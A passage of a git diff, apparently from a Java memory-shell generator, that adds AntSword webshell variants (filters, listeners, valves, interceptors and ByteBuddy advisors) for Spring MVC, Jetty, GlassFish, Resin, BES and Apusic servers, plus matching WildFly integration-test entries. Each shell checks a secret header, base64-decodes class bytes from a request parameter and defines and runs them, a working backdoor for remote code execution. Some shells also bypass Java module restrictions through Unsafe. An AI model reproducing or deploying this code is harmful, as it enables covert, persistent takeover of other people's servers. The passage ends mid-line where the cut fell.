arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 709e5868..df7fa298 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -47,14 +47,18 @@ public class Wildfly23ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index 74ec3b49..cda543d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -54,6 +54,8 @@ public class Wildfly9ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), @@ -62,6 +64,8 @@ public class Wildfly9ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), @@ -70,6 +74,9 @@ public class Wildfly9ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar) diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordControllerHandler.java new file mode 100644 index 00000000..1750b8a8 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordControllerHandler.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.springwebmvc.antsword; + +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.Controller; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordControllerHandler extends ClassLoader implements Controller { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSwordControllerHandler(ClassLoader c) { + super(c); + } + + + public AntSwordControllerHandler() { + } + + public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + try { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } catch (Exception e) { + e.printStackTrace(); + } + } + return null; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordInterceptor.java new file mode 100644 index 00000000..558dbd17 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordInterceptor.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.memshell.springwebmvc.antsword; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInterceptor { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSwordInterceptor(ClassLoader c) { + super(c); + } + + + public AntSwordInterceptor() { + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + try { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } else { + return true; + } + } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java new file mode 100644 index 00000000..22314615 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.springwebmvc.antsword; + +import net.bytebuddy.asm.Advice; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordServletAdvisor { + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response, + @Advice.Origin Class targetClazz + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, targetClazz, offset, module); + } catch (Exception ignored) { + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + byte[] data = null; + Class base64; + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + Object instance = payload.newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java new file mode 100644 index 00000000..9218e804 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java @@ -0,0 +1,92 @@ +package com.reajason.javaweb.memshell.apusic.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java new file mode 100644 index 00000000..2852dbcd --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.memshell.bes.antsword; + +import com.bes.enterprise.webtier.Valve; +import com.bes.enterprise.webtier.connector.Request; +import com.bes.enterprise.webtier.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordValve extends ClassLoader implements Valve { + public static String pass; + public static String headerName; + public static String headerValue; + protected Valve next; + protected boolean asyncSupported; + + public AntSwordValve() { + } + + public AntSwordValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java new file mode 100644 index 00000000..327f9838 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java @@ -0,0 +1,103 @@ +package com.reajason.javaweb.memshell.glassfish.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + // glassfish7 + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordHandlerAdvisor.java new file mode 100644 index 00000000..3f764e10 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordHandlerAdvisor.java @@ -0,0 +1,50 @@ +package com.reajason.javaweb.memshell.jetty.antsword; + +import net.bytebuddy.asm.Advice; + +import java.lang.reflect.Method; + +/** + * @author ReaJason + */ +public class AntSwordHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 1) Object baseRequest, + @Advice.Argument(value = 2) Object request, + @Advice.Argument(value = 3) Object response + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + byte[] data = null; + Class base64; + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + Object instance = payload.newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java new file mode 100644 index 00000000..158fc603 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java @@ -0,0 +1,98 @@ +package com.reajason.javaweb.memshell.jetty.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java new file mode 100644 index 00000000..a15d1021 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java @@ -0,0 +1,94 @@ +package com.reajason.javaweb.memshell.resin.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + response = (HttpServletResponse) getFieldValue(request, "_response"); + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java new file mode 100644 index 00000000..d76f6821 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordFilter extends ClassLoader implements Filter { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSwordFilter() { + } + + public AntSwordFilter(ClassLoader c) { + super(c); + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", 